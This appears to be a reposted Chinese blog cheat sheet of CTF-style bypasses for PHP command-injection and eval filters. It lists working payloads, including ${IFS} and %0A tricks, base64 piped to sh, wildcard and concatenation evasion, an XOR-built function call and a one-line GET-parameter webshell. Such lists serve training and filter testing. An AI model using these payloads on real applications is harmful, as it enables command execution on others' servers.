• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHPcheck的一些绕过技术

原作者: [db:作者] 来自: [db:来源] 收藏 邀请
$_GET[str]=str_replace(" ","",$_GET[str]);
  • ${IFS} 但不能写作$IFS

  • $IFS$9

  • %09

绕过echo

system("echo \"$_GET[str]\";");
  • 执行命令加上反引号`` cat /flag\

  • "双引号闭合+|分割(或 &后台 &&判读 均要转码)

绕过符号

$_GET[str]=str_replace(array( "`", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
  • %0A 截断 111"%0Acat %2fflag "

绕过关键字替换

$str=str_replace("flag","",$_GET[str]);
  • 双写绕过 flflagag

绕过正则

preg_match("/flag/i",$str)
  • 反斜杠换行 ca\t fla\g

  • 模糊匹配 cat /fl* cat /fla?

  • base64 echo Y2F0IC9mbGFn|base64 -d|sh(Y2F0IC9mbGFn = cat /flag ,不能用)

  • 变量拼接 $a=%2ffl;$b=ag;cat $a$b;

绕过可见字符

if(preg_match("/[A-Za-z0-9_]+/",$code))
    {die("NO.");}
@eval($code);
  • 构造getFlag的异或字符串code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_();

  • 注入一句话${_GET}[_](${_GET}[__])

  • 如果下划线_被禁用,使用大于等于%7F的字符


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
php获取中文的拼音发布时间:2022-07-10
下一篇:
macnginx安装及PHP配置发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap